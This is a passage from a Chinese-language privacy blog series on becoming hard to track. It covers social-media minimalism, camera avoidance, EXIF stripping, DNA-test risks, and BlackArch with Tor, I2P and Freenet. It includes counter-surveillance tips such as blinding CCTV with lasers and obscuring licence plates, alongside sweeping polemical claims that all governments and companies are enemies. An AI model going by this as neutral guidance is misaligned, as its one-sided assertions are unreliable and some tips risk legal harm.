- 与他人做任何交谈时，请注意尽量不要谈及您的任何个人信息（小心你的 “随口说说” 就会泄漏大量秘密，见《如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术”》）；
- 尽可能少地使用社交媒体，或者至少要非常小心在线发布的任何信息、照片/视频（避免包含您的家庭住址、车牌、自己的面孔、朋友和家人的面孔等重要信息的照片）《你不应该在社交媒体上说的话》；
- 通过使用代理以最大限度地减少外部跟踪暴露；使用**PGP**加密的电子邮件；或使用隐写术；
- 在出国旅行中，不论是出境还是入境，事先删除所有社交媒体应用程序、加密通信、VPN、文档，之后再创新安装。尤其是出入美国和中国，这点非常重要！不要让监视者轻易拿到你的重要信息。

就数字隐私理念而言，当您遇到个人抉择时，使用奥卡姆剃刀作为指南是不错的选择。

因此，如果您曾经遇到过关于数字隐私的多种哲学，并且您不知道该选择哪一种时，通常最直接的选择就是不共享您的任何个人数据，或至少选择能保证保护您的隐私并拥有可靠记录的组织。

⚠将所有政府和寡头公司都视为你的敌人，这是最可靠的认知 —— 任何政府，任何国家的寡头公司 —— 监视资本主义没有国界。

地堡

「图」

世界上真的有专门用于数据存储的安全港，例如 “Cyber Bunker”，人们可以安全地存储自己的数据，而政府间谍和警察无法接近。

他们为海盗湾等组织众多镜像提供托管。也是为什么去年9月德国警方冲进特拉本-特拉巴赫附近的一个 Bunker 的数据中心并将其关闭一事引起了巨大的反响。

这些数据托管通常位于国际刑警组织或美国执法机构可监视范围之外的国家，并且没有与美国建立引渡条约的国家。

作为个人，您可能不需要将您的个人文件存储在国际防弹地堡里，但是如果您出于某些原因这么做了（比如您正在本国实践透明度革命），那么这样做是绝对有必要的。请准备支付大笔费用，因为它们并不便宜。

- 《最佳庇护所和跨国维稳—— 透明度革命的未来》

高级持久威胁就在您的后院

「图」

众所周知，全球绝大多数政府都希望能够轻松地窥探自己的人民。你也一定知道，全球反加密战争是如何地惊人（在列表1中找到具体内容）。

对那些间谍来说，民主自由并不会让他们赚到钱，但维护其主子的权力地位稳固他们就可获得享不尽的富贵。所以，永远不要指望他们任何“良心发现”。

政府只关心如何更轻松地解锁您的加密智能手机、笔记本电脑、读取您的加密通信、以便能把你扔进监狱。

⚠说良心话，宪法和法律中写的如何保护你的人权可能并没毛用，这在很多国家都是如此。比如美国和中国，如果您坚持行使宪法权利阻止非法搜查和扣押，那么您在当局眼中会自动被判有罪，他们会拘留您，并将您带到可以为您的任何设备发布搜查令的法官面前。

不信吗？在下面看到详细调查报告：

- 《铁幕之下：全球反抗者如何对战监视者？》

如果您拒绝提供密码/ PIN，您可能会被判蔑视罪。可笑吗？并不是，在9/11之后，《第四修正案》的宪法权利基本就作废了。

尽管您已经尽最大努力在网上和现实生活中保持匿名，但随时了解自己面临的挑战仍是至关重要的 —— 随时知道你的政府正在干什么。

- ⚠中国的“密码法”让我们惊得合不拢嘴，这是前所未有的灾难；但却为什么在中国舆论场上完全没有反馈？《中国的新

“密码法”如何终结了加密》

在美国，大多数人也是非常麻木的。例如，有些人可能至今都没有意识到国家安全局（NSA）已经在一个偏僻的地方（犹他州布拉夫代尔）建立并维护了价值20亿美元的庞大数据存储设施。见：

- 《“如果你不偏执，那就是疯了”》

这些数据正在由高级计算机系统处理和分析，使用算法使用在语音、视频和数据中搜索任何关键字。*The Salt Lake Tribune) An aerial view of the NSA’s Utah Data Center in Bluffdale, Utah*

国安局是用来针对所谓的外国对手的，不应该用来监视本国公民；但是，立法者已经通过了允许他们这样做的法规。

这无疑是一种耻辱。臭名昭著的《爱国者法案》《美国自由法案》等法律已经使间谍机构可以合法地将本国公民当成敌人。

在中国什么样，想必大家心里都明白。但依旧有人认为 “如果我没做坏事就没什么可担心的”。是吗？什么是好事什么是坏事你真的知道吗？你不知道，因为你的价值观一文不值，好还是坏的标准永远是由监视者定义的。

who is watching the watchers?

如果仍不能回答上述问题，你就必须保持对任何权势的零信任。

Zero Trust, Always Verify —— 这是基本原则。○

—— 未完待续 ——

原文

少即是多：变得难以被追踪的简单方法（5） - iyouport

难以被追踪难以被追踪（完成）

【2020年5月29日存档】还记得 “完美隐身” 中的原则吗？- 你牵挂越少，你的行动就越自由。在数字安全领域也是如此：极简主义是一种生存法则

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》

如您所知，本系列文章采取简单易懂的描述方法，通过为您展现这个世界被隐藏的真相，以帮助您意识到防卫的重要性，并由此获得生存的能力。

地球人已经进入一个新的10年。这个10年会非常艰难，恶意的技术使用将以前所未有的深度渗入到与每个人直接相关的一切，“难以被追踪” 将越来越困难。

随着技术能力的快速发展，监视资本主义会近一步飞跃，政府、互联网技术公司、以及各种服务公司对你的私密数据的需求量只会越来越高。

从监视资本主义开创的最初，信息就已经取代了黄金和其他所有货币，成为了新的货币标准 —— 只要有了足够的信息，一个人或组织就可以按照自己的喜好来控制他们想要的任何东西。

如上，这一切早已不是秘密，大数据使政治消亡，这是一场看不见的

政变。 ☞ 全球各国政府基本都是同样的操纵者，而且已经做了很多年。

- 《看清信息战：2019全球有组织社交媒体操纵清单》

说实话反抗者还是不少的，他们在议会、在法院、在街头、在电脑桌前拼搏。但是，每当一方认为自己在争取隐私的战争中取得了重大胜利时，技术便会伴随着一种新的方法出现，以此把你打得粉碎。

- 《猫鼠游戏永远持续—— 隐私保卫战的未来会如何？》

监视和反监视就是现实生活中的汤姆和杰瑞，公民人权一直跑在逃亡的路上。我们必须能扭转这个局面。《*Mr.Robot*》台词。我是想说……重点是最后一句话

什么是强化

「图」

您可能已经发现，本系列内容的前4篇文章都比较简单，它们侧重于从基本面上帮助每个人认识到我们生活的世界中发生的最惨烈的真相。

换句话说，这些是如今每个人都应该熟知的 —— 从熟知开始，才有改变的可能性。

本文—第五部分—希望说明的是，“变得难以被追踪” 并不完全是 “低技术含量” 的问题，而是，你要想到办法使政府间谍和监视资本家的机器变得笨拙，从而您才能找到生存能力。

在政府和贪婪的寡头公司眼中，你我这些公民仅仅是纳税人、潜在选票、满足未来市场销售形式的金钱符号，甚至是敌人 —— 如果你质疑那些权势的话。

简单说，他们只要能保证你不造反、继续源源不断地把钱给他们，此外的一切他们都不会关心。包括你的基本人权和活得像人的尊严。请理解这点。

一次又一次的数据泄漏，一次又一次的侵犯，直到大众媒体已经对灾难习以为常，不再成为 “热点” …… 没错，他们要的就是这个，他们都明确告诉你了：“新常态”。

一个人可以做些什么才能使自己的个人信息更难以被收集和利用？保持对这个问题的思考，这是能帮你活在这个世界的关键。

☞要回答这个问题您需要首先清点与自己有关的所有攻击面，并采取补救措施，以最大程度地降低风险，这取决于您的个人情况、资源和动力。

- 《保护安全需要一系列思考方式，而不是哪个软件》

这与现实中一样。如果你不想挨揍，就必须想办法保持自己的身体健康和活跃，从而增强抵抗力。找警察、找政府、找哥们儿，可能都不如您自己的二头肌更管用。

学习一点防身术是自卫和提高自律的好方法。在心理/精神方面，强化涉及使您的思想免受有害的社会影响，并防止自己屈从于将您的个人信息自由地拱手于每个渴望喝你的血的当权者和寡头。

- 《如何从 Matrix 中醒来？》

同样，在我们通常称为“网络空间”的信息安全维度中，强化除了其他众多定义外，还涉及为减轻不必要的风险而采取的措施；例如，删除不使用的系统服务、限制应用程序、关闭防火墙上不必要的端口、以及整个操作系统和Web浏览器中更严格的配置设置，等等。

☞极简主义者将在此拥有明显的优势，即 拥有最少的东西、最少的文件以满足基本的保护、说明、备份、加密、管理 ……

更少的事物意味着更少的攻击面，可以做到强化和防御。

但是，如果您全家用一台电脑，这可能会比较困难。因此，这句话应该说成：请在可能的情况下尽一切办法减少自己的攻击面。

欺骗与谎言

「图」

愚蠢地陷入了全球消费主义热潮的群众们不知不觉地变成了羊，并自愿将自己的身家性命无偿提供给了无良的寡头，让这些寡头赚得盘满钵满。

消费主义宣传机器通过新的互联网、电视和广播营销广告来推动这一无休止的消费主义循环，这些广告旨在使消费者将更多的钱花在他们

根本不必要的产品上，并在此过程中收集更多的个人信息。

让我们看一个单一的产品，例如 iPhone，可以吗？

为什么像苹果和三星这样的公司（可以说是整个行业中最大的两家手机制造商）拥有类似的商业模式，每年发布新版本的 iPhone 和 Galaxy S 手机系列？你有没有想过这个问题？见：

- 《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》

至少，这已经在2017年被发现的，并得到了苹果的证实 —— 关于：他们已经放慢了老款 iPhone 的速度。他们想诱使你去买新的。

再一次，少既是多。请不要把您的钱花费在为自己制造危险的事情上。

鉴于当今的手机数量比活人还多，我意识到这并不是一种普遍的看法。但是，我依旧认为，智能手机可以也应该在某些重要的场合被禁止进入，您肯定知道哪些场合是重要的。

- 《你的手机如何背叛了民主？》

并且，与此同时，正是这种永无止境的消费主义和公司贪婪的循环正在破坏地球的自然资源，并将那些“跟不上消费主义进度”的人们沦为二等公民，因为他们“必须拥有最新最好的产品”。

- 技术曾经是为富人服务的。现在，富人正在付钱以避免技术……《穷人的屏幕》

现在最重要的是，让更多人意识到发生了什么。让自己摆脱疯狂。政府是监视资本主义体制的最大受益人之一 —— 您在政府的重点监视名单上了吗？别忘了，当权者把公民视为敌人。

☞ 对于某些类型的技术，保持普通的防伪直觉并不是一个坏主意。我的意思是，汽车应该可以被入侵吗？被直接开到警察局门口并熄火？换句话说，这种汽车你想要吗？

- 《构建技术直觉：生存在数字世界必备的本能》

人人憎恨恐怖分子，我们也一样，但有趣的是，看看基地组织在逃避对手的偷袭以及如何避免使用手机和卫星电话方面取得了多么大的成

功。

基地组织在严峻的偏远环境中运行，但仍在隔离房中使用技术。他们的视频和音频消息总是预先录制并定时，以提供最大的震撼和恐怖效果。到预先录制的消息公开时，操作人员早已无处可寻。

而我们这些人，还在拼命地玩直播 ……

说实话，已经证实基地组织甚至曾使用数字隐写术将没有任何密码保护的作战计划文件放在色情内容里。而那些经常喝茶的筒子们却对隐写术不以为然……

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》

基地组织和伊斯兰国等恐怖组织使用的这些低技术含量的防御措施在逃避侦查方面可以说很有成效，就算受到破坏，也无需花费太多成本即可维护或更换。

⚠再一次，我们绝对不是羡慕恐怖分子！这应该无需解释，但还是说一句比较好避免误会。我们是想说，不论你想做任何事，或者仅仅希望保住自己的基本人格和尊严，防御技术知识和能力都是你的基础。

衷心地希望所有好人都比坏人更聪明。

☞ 请随时记得！只有像敌人一样思考，您才能保护住自己的个人生活，对任何人来说都是如此 —— 我们的开源情报专栏就是希望通过演示攻击来提醒防御，帮您站在敌人的角度上认识自己的弱点，以便提前堵住漏洞。

支个招。您可以将隐私概念和技术与节俭、简约和低配的概念和解决方案相结合，进行一些实验，以确定在尽可能少花钱的情况下最能实现所需防御效果的方法，请随时告诉自己，您完全不需要通过拥有更多“事物”使自己的生活变得更加混乱。

门铃是干什么用的？有人来了摁一下提醒你去看猫眼，对吗？所以，您只要买一个能响的东西就行了，真的有必要安装亚马逊的Ring那种东西吗？这是举个例子。

- 《亚马逊帮助警方构建了一个广泛的监控网络》

以下是您可能希望在生活中实施的一些低技术防御选项。很有可能您

探索得越深，就越会发现，高科技和低技术的混合方法最有效。

逃避监视的低技术方法

「图」

如今，只要您不是生活在生山老林里，只要走出家门，就绝对会遇到一大批监视摄像头。

尽管不可能完全实现匿名，但是，您仍然可以采取一些简单的非技术性的措施来避免监视和 “选择退出系统”。

这不得不再次强调直接行动。

上图中提到的东西在这里下载：https://t.me/iyouport/6779

比如，在纽约市，isee 应用程序可帮助市民规划出行的 *最小* 被监视路径。并非在任何地方都可以使用此功能，但大多数地方您都可以根据来往沿途的监视摄像机数量来确定自己的路线。

☞这就是直接行动：亲手打造您想要的东西，而不仅仅是乞求当权者拆掉监视器（你知道那会很难）。

当然，上述案例不是最佳的，只是一个例子。尽管有可能迫使当权者继续投资更多的监视器，也没关系，这意味着反抗形成了主动 —— 让你的对手追着你跑，而不再是你永远追着他们的悲惨局面。

上面的下载材料中有更好的行动案例。

戴墨镜和戴棒球帽、LTD灯头盔等等简单的事，就可以帮助破坏面部识别，使监视系统更难以瞄准您，并且可以成为一种有效的迷惑技术。

- 更好的方法《让面部识别失效的思考方式》

对准CCTV摄像机的激光也可以遮挡其视线，但是，如果不能精确执行 …… 结果可能很严重。因为它已经拍到你了。

请注意，在一些国家，比如美国，在街头戴着 LED 灯的球帽是违法的，就像将您的车子开到泥潭里并不违法，但很可能会导致车牌不清晰、不干净。中国怎么样我们不知道，您最好先熟悉一下当地法律，尤其是上面那篇文章。

☞任何法律都有漏洞，就像软件，所以，合法意味着，只要你能找到漏洞。

苹果公司的乔布斯（Steve Jobs）以其经常利用加利福尼亚法律中的漏洞而闻名。此漏洞如今已被关闭，但在当年，这使他可以在租用的梅赛德斯·奔驰SL55 AMG没有牌照的情况下驾驶，他将在六个月的宽限期结束前将其出手然后换成相同的车型。从2019年开始，在加利福尼亚州购买的所有汽车都将随附DMV颁发的牌照。

想想看，从你走出家门开始，一路上有多少个摄像机？红绿灯路口都有监视器、收费公路上也有摄像机、还有隧道摄像机，它们记录下的一切都被输入了自动牌照读取器（ALPR）中，以及由某些未知的计算机系统处理。

- 《如何愚弄自动车牌阅读器？》

你需要能找到一条尽可能少地遇到这些东西的路。

反侦察技巧**101**：兜圈子，越复杂越好。如果你实在躲不开监视器，那就不要走那条从出发点到目的地的捷径；你需要在其间兜圈子，让监视者难以察觉你的目的地在哪。

您是否从自动柜员机提款、停下来加油、或从当地的超市买东西？如果您这样做了，请再添加一些可以跟踪你的摄像机。

Investigation Discovery（ID）有线电视频道制作了一个名为 “See No Evil” 的节目，其中详细介绍了警察如何使用视频回溯来追踪目标人的方法。您可以看一下。

其实我们一直认为中国应该多做这些研究和介绍，YouTube上的“热门”中文演讲视频基本都没什么价值，这太可惜了。

监视程序（例如 Edward Snowden 泄露的 NSA Prism）表明，情报机构从许多主要的互联网服务提供商（ISP）和电信服务提供商手中直接收集用户数据。不要认为这种情况在任何国家会“不一样”，永远不要相信那些公司会重视你的利益。

- 特别警告最可怕的教训《他们是如何抓捕说真话的人？⚠灾难和教训》

纸和笔

「图」

先不要笑。

低技术方案 —— 例如使用笔和纸 —— 的妙处在于，它通常便宜得多，并且无需考虑其他任何因素，例如 不必更改密码、不必将通电、不必通过危险的 Wi-Fi 等等。

另一个好处是，您可以在用完后直接将其烧掉，并确保它永远消失。（相信诸多 “数字取证” 知识已经吓到很多人了）

- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

还记得我们在 “超强记忆力” 中强调的吗？—— 不要使用在线的思维导图APP！就用你的纸和笔，尤其是对行动者来说，这很重要。

我想说的是，只要您使用相对潦草的字体、并且不在任何地方写上自己的名字、电话和地址，那么就算您的笔记丢失或被盗，也没有任何人能追溯到您。

如果您是活动家，您有没想，手绘的动员海报有多大的魅力？它真的很触动人心，比那些色彩斑斓的打印纸要有用得多。

保持安静

「图」

“您变得越安静，听到的声音就越多。” —— ~Ram Dass

玩过 Kali Linux 的人都会对上面这句话别有感触。俗话说：“愚蠢的人说话，明智的人听”，这不是没道理的。

这种哲学与隐私安全交织在一起，原因很简单：无论您是在现实生活中还是在网上，与人交流的机会越多，邀请他们与您聊天的次数就越多；如果对方刚发了一个大红包，他对你的提问你会不会回答？会不会不假思索全盘托出？…… 然后再后悔吗？

我 *绝不是* 说您需要怀疑您的朋友，而是，您和您的朋友通过网络传输的一切都有可能在背后有一大堆人在偷窥，尤其是通过不安全渠

道的任何交流，比如微信。

所以您应该时刻意识到这点 —— 并非是您不说政治敏感话题就能安全！

沉默是一件美事，在您生活的这个混乱而嘈杂的世界中应该珍惜。通过聆听，与那些滔滔不绝的人相比，您将学到更多。

☞请注意：这里指的沉默并不意味着完全一言不发，而是说，您需要提醒自己所说的每一个字是否对恶意者有利。

再一次：少即是多。

上传任何东西之前请三思

「图」

国家安全局和中央情报局前负责人、臭名昭著的 Michael Hayden 将军有一句名言：“我们基于元数据杀人。”

如果您对最小化和删除元数据的重要性有存有疑问，请记得这句话。

- 《疑似中国骇客针对10个电话运营商窃取元数据》
- 《无处可藏的数字足迹—元数据如何致命（上篇）》
- 《都是工具，从自我保护到有效利用—— 元数据（下篇）》

您永远不可能知道自己的元数据最终落在什么人手里；更无法预测那些家伙会怎么使用这些东西来对付你。你能做的唯一的事就是，不要把这些东西放在网上。

您是否仍然认为将所有个人照片上传到 Instagram 和 Facebook 等社交媒体网站、甚至该死的“云端”，是无害的？再想想。

可能你的所谓“好友”看不到元数据，但是，Facebook、Google、腾讯、百度等等一切寡头，都看得见，而且他们会把这些致命的东西收集起来，给政府间谍，和拿去卖钱。他们就是这么发家的。

- 《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

你我都是产品，我们在义务劳动帮那些寡头赚钱；永远别忘了这点。

还记得IYP在 “完美隐身” 系列中强调的吗？**任何** 公司了解您越多，您就越危险；不论他们承诺什么，都不值得您冒险。那是那句话：尽可能缩小被了解的范围，尽可能使用假身份。尽全力保护自己。

上面大图。

BlackArch Linux

「图」

BlackArch Linux，是一份基于 Arch 的 Linux 发行版。该发行版被设计用于系统渗透测试及安全研究。

BlackArch 提供一张自启动运行DVD镜像，其中包含有多个轻量级窗口管理器和一千多种用于渗透测试和计算机取证分析的专用工具。

该系统即可以直接从镜像启动，也可以安装在硬盘、U盘或虚拟机上。

人们都知道，Linux 是黑客的游乐场，这在很大程度上是由于它是一个免费的开源软件（OSS）操作系统，它提供了比专有OS更高程度的可定制功能。

Linux 发行了太多不同的变体；其中 Kali Linux 也许是最以黑客为主题的Linux发行版，但是鲜为人知的替代方法是 Black Arch Linux。

上图中那本书在这里下载：《Kali Linux Hacking: A Complete Step by Step Guide to Learn the Fundamentals of Cyber Security, Hacking, and Penetration Testing. Includes Valuable Basic Networking Concepts》

Black Arch Linux 被黑客社区中的某些人冷落为“vegan Mormons of the Linux community”（无意冒犯）。Black Arch Linux 是一种独特的操作系统（OS）构建，它拥有你想要的几乎所有工具。

它是为渗透测试人员设计的这是事实，但是。并不意味着您不能使用它。

大多数普通用户可能不会使用许多这类软件工具，因为使用它们通常需要对计算机和安全工具有深入的了解，但是，其中许多带有图形用户界面（GUI）的工具值得您探索，例如 密码破解和恢复被删除的文

件的工具。

如果您想尝试使用黑客工具，请在家中设置虚拟培训环境。

实现在线虚拟匿名的一种方法是连接到 Tor 或 Invisible Internet Project（I2P），I2P是可伸缩性强的具有自我组织与恢复能力的包切换匿名网络；开源软件虚拟化x86引擎，例如可在 Windows、Linux、MacOS 和 Solaris 上运行的 VirtualBox。

您需要首先下载 VirtualBox 并将其安装在计算机上。方法在这里。然后在VirtualBox 内下载并安装 Black Arch Linux 映像（.iso）。

确保已激活VPN，打开 VirtualBox Black Arch Linux 虚拟OS，然后从这里连接到 Tor、I2P 或 Freenet 进行浏览。

就是这样。也许很多人会感觉有点“极端”？但这就是匿名上网的方法，敬业的隐私发烧友和任何尊重人权的公民都肯定会竭尽全力实现和维护隐私。

应该注意的是：即使使用这种方法进行匿名浏览，警察和间谍仍然有可能将IP地址反向追溯到您的VPN提供商，然后由于 Tor 和互联网中的漏洞，您的VPN提供商可能会被传唤，以索取您的真实IP地址。

- 不要错过《隔离互联网的匿名工具，简易指南》

当然，如果愿意，您也可以执行相同的技术，在 VMware 上安装 Kali 或 Ubuntu Linux，但是出于本文的目的，我想展示 VirtualBox 和 Black Arch Linux。

认真的 VMware 用户都会告诉您，为 VMware 支付年度订购费用是值得的，而且免费的 VirtualBox 太笨拙了，但是，如果您像我这样节俭，那您就肯定会为 ~ $300/年 犹豫一下。

如果您是重要的公民行动组织的安全部队负责人，我认为您值得花这笔钱。

黑暗艺术 L33t

「图」

被视为黑客术语的“L33t”（elite 精简）需要大量的实践和经验，它也是一种虚拟匿名和不可追踪性的黑暗艺术。

其实并不复杂，它有点像中国网络为了逃避监视而故意编辑的 “敏感词”。通常是把拉丁字母转变成数字或是特殊符号，例如E写成3、A写成@等。或是将单词写成同音的字母或数字，比如 to 写成2、for 写成4等等。

也就是在原文中 “加密”。

拥有 L33t 熟练能力的人可以被认为已经掌握了专门的技艺，一般来说，掌握一门技艺需要大约10,000个小时的经验。

当然，如果加上信息系统安全技术的微妙复杂性，10,000个小时的时间可能还不够。但是，勤动手的习惯绝对能让您更快速进步。

最后，请允许我重复一句：本系列内容并不是为高深的安全领域专家撰写的，他们对这些东西已经非常熟练；我们为的是那些还蒙在鼓里的普通人，通过用最简单的语言描述您的境遇，帮助您了解为什么这些知识都是必要的。

纽约时报的文章中写道，如今 “抗议已经变成了极客的特权，而隐私人权难道不应该是普世的吗？” 很不幸的确如此 —— 如果您没有足够的自我保护能力，不用说抗议，普通的表达自己的意见都将变得极为艰难。

不是说沉重的猫鼠游戏很好玩，但是必须说，除非我们首先能在这种极端的反乌托邦世界中活下去，否则我们中将没有任何人能再站起来抵抗以终结这个噩梦。

IYP希望我们的读者都能在这场噩梦中活下来，就包括您。〇

—— 未完待续 ——

原文

大保健应该成为习惯：变得难以被追踪的简单方法（6） - iyouport

难以被追踪难以被追踪（完成）

【2020年6月4日存档】你的数据就是你的身体＋你的灵魂＋你的人格＋你的财产 ……＋你的一切。

还记得本系列此前的内容吗？您可以在下面回顾：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》

> 在大规模战略中，当敌人开始崩溃时，您必须在不放过任何机会的情况下追捕他们。如果您没有利用敌人的崩溃，他们可能会迅速康复 —— *Miyamoto Musashi*

这里是“变得难以被追踪”的第6集，本文将继续对社交媒体提出警告，并为您提供更多关于尽可能保持匿名在线的提示。

在数据泄露时代维护自己

「图」

在数据泄露时代，我们如何保护自己的个人身份信息（PII）？

为了在似乎每周都有新数据泄露的情况下保持低调，您必须加倍谨慎，尽可能不要将个人信息放在网上。

☞做到这一点的方法是尽可能地在线使用有关您自己的虚假信息 —— 袜子木偶、角色扮演、分身。链接中是具体方法。

为什么要使用您的真实姓名、家庭住址和电话号码呢？您知道恶意者可以用这些信息造成多么大的损失吗？很多，完全可以超乎你的想象。

已经2020年，但你仍然可以在网上找到大量的个人身份信息，几乎俯拾皆是。这是多么恐怖？

这个世界是一个巨大的舞台，对于那些有足够感知力的人来说，到处都是数字面包屑证据、到处都是微妙的线索、随之而来的是数字足迹。

许多不同类型的人出于多种不同目的使用开源情报工具、方法和技术。有些是网络威胁猎人，有些是罪犯分子，有些将其用于数字取证目的，其他人可能只是想追踪过去的敌人，或用来确定有多少关于自己的个人信息在线 —— 用敌人的眼睛看自己。

我们提供开源情报技术为的正是最后一种目的。

开源情报的的光圈可以根据您的需求任意扩大或缩小。有时搜索范围很广且很深，而其他时候搜索范围又很窄也很浅。

开源情报就是要知道要为特定任务使用哪些工具，这些工具将产生最佳结果，或者要使用哪些工具的最佳组合。毕竟，您可能不会使用高射炮打鸟。开源情报也一样，根据您想要定位的信息，某些工具会比其他工具更好。

开源情报经历了一波高潮，导致大量新软件工具和技术涌现，几乎任何人都可以使用它来收集关于另一个人或组织的“情报”。

有很多软件工具和资源可用于此类调查活动，可以参见我们的专栏，非常多。但是，某些最好的开源情报工具并不是完全设计为工具的 —— 社交媒体本身就可以是最出色的开源情报工具之一。

社交媒体

「图」

如果您重视数字隐私，并且使用 Linkedin 之类的社交媒体网站与上班族联系，那么您面临的侵犯隐私权的可能性比您想象的要大得多。

在 Linkedin 上，除非您正在积极发布有关您自己的虚假信息以摆脱追踪者的困扰，否则，任何人都可以通过您向雇主转发的照片、帖子或资料来查找您的私密信息并可能对您发起攻击，以试图使您被解雇或至少受到谴责。

您为什么要给一个您甚至都不知道是谁的人如何严重的机会？

根据您的个性，与社交媒体上的某人进行火拼可能只是时间问题。

您可能是最好、最可爱的人，但是，如果某人不喜欢您写的或发布的内容，那么对您发起战争就是他们的首选项。

他们将不惜一切代价破坏您的整个生存。只要看看最近的 Swatting 攻击如何导致无辜受害者死亡就可以明白了。

当事情趋向于升级时，您认为那些讨厌您的人会转向什么呢？毫无疑问。

- 《当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁》

坦白地说，您无需花大量的网络经验就可以了解开源情报的信息收集工具和技术。换句话说，您**不必**成为开源情报界专家就可以在短期内让某个人再也爬不起来。所以，您觉得其他人不会这样做吗？

易于追踪就是这个互联网的工作方式，如果您必须使用它，请在这里至少以一个完全不同的身份存在。

不要让任何人了解你太多

「图」

在将照片上传到任何网站之前，您是否想过要从照片中删除地理标记元数据？如果没有，您将很容易被这种方式所追踪。

照片元数据被称为EXIF数据，有多种工具可用，任何有经验的人都可以使用这些工具从在线发布的照片中提取EXIF数据。工具在这里。

因此，在任何一种拍照上传之前都请三思！是任何，并不是说您在特殊位置打码就可以了。您永远也不会知道谁潜伏在阴影中。*2012 South African safari tour bus sign, this is not a new phenomenon; credit: Exposing The Invisible*

即使一个网站宣传他们会自动删除EXIF数据，也不要信，那些寡头从来不会在关于您的利益方面说实话。其逻辑就如中国的“密码法”，只能防隔壁老王，但对居委会完全透明，它只能顶个球用。

对我来说，将我的任何个人信息委托给FB或任何一家科技公司都是难以理解的。

在线发布任何图像之前，请使用 Mac 的 ImageOptim 等免费工具或通过Web服务剥离照片元数据。对于其他操作系统的同类工具也很多，例如 Windows 的 FileOptimizer、和 Linux 的 Trimage。

首先考虑一下为什么要在线共享您的个人信息的根本原因。

共享的渴望是否真的源于您内心深处的欲求，还是根本性的空虚、想要被接受、被大众欢迎或被喜欢？我向您保证，社交媒体不是您的朋友。

上图中那本书在这里下载：https://t.me/iyouport/6823

这个集中化的互联网也不是您的朋友。这里没有绝对安全，您必须把几乎一切精力花在躲避明枪暗箭上。

如果您必须使用互联网和社交媒体，请参见我们的列表1—“防身方法”。

是时候回顾一下FB时间轴、旧的 Tweets、Instagram 和 Snapchat 照片，以开始删除任何可能对您不利的内容了。

为什么不呢？难道您等着它们再次“流行”吗？您等不到的。好人不会去翻你那些陈年的东西，而这些东西只能给坏人提供最大的便利。

您需要躲避的人远非仅仅是政府间谍。还有各种竞争中失败的对手、疯子、被冷落的前朋友、前恋人、现任雇主、您申请的工作的潜在雇主、私人侦探、小偷 …… 他们中任何一个家伙都能让你震惊。

事实是，您不知道谁在收集有关您的信息，更不用说他们会拿来干什么了。因此，您必须采取预防措施，不能等到为时已晚。

如果您不希望完全删除，也确实可以保留一些内容在互联网上，但是您可以采取以下步骤，使任何人都很难成功地伤害您。

少即是多。请记住，在线发布的内容很有可能将永远保持在线状态。

无论在什么地方，它都已存档，或者有人将副本保存到他们自己的硬盘里，进行了截图。

这里说的 *删除* 只是意味着不大容易找到了，但是它们依旧有可能存在。所以最根本性的措施就是，立刻，马上，从现在开始上传任何东西之前都要努力思考其危害性。

- 顺便《清空废纸篓无法真正"删除"文件，如何彻底删除以抵制任何取证工具？》

您不会后悔的。

操作安全永远是第一位，而不是哪个软件；如果您没能注意细节问题，就算最好的防御软件可能也无法保护您。在下面看到：

- 《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

一个宗旨在所有情况下适用：任何他人/公司对您的了解越少，您就越安全。

DNA检测

「图」

将您的DNA添加到国家DNA数据库的方式有很多种 —— 这在任何国家都一样，尤其是美国、中国、俄罗斯、印度等国家，您能做的只有：任何时候不要进行自愿的DNA测试。不论对方打着什么旗号接近你。

如果您曾经自愿付款提交 DNA，以供 Google 支持的 "23andMe" 或 "Ancestry.com" 之类的公司进行检查，很不幸您已经暴露了。这些寡头公司一直在以世界上所有令你呕吐的形式与当权者合作，在这里看到悲惨的教训。

并且，您难道不认为健康保险提供商正在争先恐后地采取可以购买或获得这种遗传信息的任何方式吗？永远不要怀疑那些人的卑劣，他们没有底线。

人寿保险提供商呢？也一样。您知道，尽管您为保险付费，但他们比任何人都更希望获得您的遗传信息。

你已经看到了太多的案例，警察用人们自愿提供给祖先检测游戏网站的数据“解决了”挤压十几年的案子。不要忘了，警察有权获得这些数据 —— 在任何国家都有权，任何。

如果您曾经玩过那种DNA游戏，我们的“完美隐身”系列中提供的东西也许已经不适合您。您可能跑不掉了。

特色隐私策略，技术和程序

「图」

1、Freenet

每当人们想到匿名浏览（尤其是对于暗网）时，就会想到 Tor。但是，还有其他选择，例如 I2P 和 Freenet Project。

Freenet 是一种免费软件，可让您匿名共享文件、浏览和发布“freesites”（只能通过 Freenet 访问的网站）以及在论坛上聊天，而不必担心审查。

Freenet 节点之间的通信经过加密，并通过其他节点进行路由，这使得确定谁在请求信息及其内容是什么变得极为困难。

文件会根据其受欢迎程度自动保留或删除，而最不受欢迎的文件将被丢弃，以便为更新或更受欢迎的内容让路。

文件是加密的，通常难以追踪；聊天论坛，网站和搜索功能均基于此分布式数据存储构建。

请注意：即使加密并仅临时存储在计算机硬盘上，它仍然可以导致严重后果；您如何向政府间谍解释，在您家门口搜出的所谓的非法内容不是您的？

您是否仍然天真地认为检察官或法官会关心 Freenet 分布式数据共享功能的微妙错综复杂性？您是否不同意 Freenet 的使用条款并自行承担下载软件的风险？最好先想清楚这个问题。

2、I2P

I2P 与 Tor 十分相似，您可将其视为“匿名覆盖网络—网络中的网络”。它旨在保护通信不受诸如ISP之类的第三方进行的窥探和监视。

I2P 被许多关心隐私的人使用：活动家、被压迫的人、新闻工作者、透明度革命英雄、以及想要人权的普通人。

